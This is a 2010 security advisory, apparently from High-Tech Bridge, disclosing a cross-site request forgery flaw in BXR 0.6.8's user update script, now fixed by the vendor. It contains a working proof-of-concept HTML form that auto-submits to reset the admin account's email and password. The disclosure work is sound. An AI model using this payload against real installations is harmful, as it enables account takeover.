34 lines
No EOL
1.5 KiB
HTML
34 lines
No EOL
1.5 KiB
HTML
Vulnerability ID: HTB22503
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Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_bxr.html
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Product: BXR
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Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/bxr )
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Vulnerable Version: 0.6.8 and Probably Prior Versions
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Vendor Notification: 22 July 2010
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Vulnerability Type: CSRF (Cross-Site Request Forgery)
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Status: Fixed by Vendor
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Risk level: Low
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Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
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Vulnerability Details:
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The vulnerability exists due to failure in the "/user/update" script to properly verify the source of HTTP request.
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Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
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Attacker can use browser to exploit this vulnerability. The following PoC is available:
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<form action="http://host/user/update/1" method="post" name="main" >
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<input type="hidden" name="user[name]" value="admin" />
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<input type="hidden" name="user[email]" value="myemail (at) example (dot) com [email concealed]" />
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<input type="hidden" name="user[password]" value="123" />
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<input type="hidden" name="user[password_confirmation]" value="123" />
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<input type="hidden" name="belongs_to_group[1]" value="yes" />
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<input type="hidden" name="user[default_folder_id]" value="1" />
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<input type="hidden" name="commit" value="Save" />
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</form>
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<script>
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document.main.submit();
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</script>
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Solution: Upgrade to the most recent version |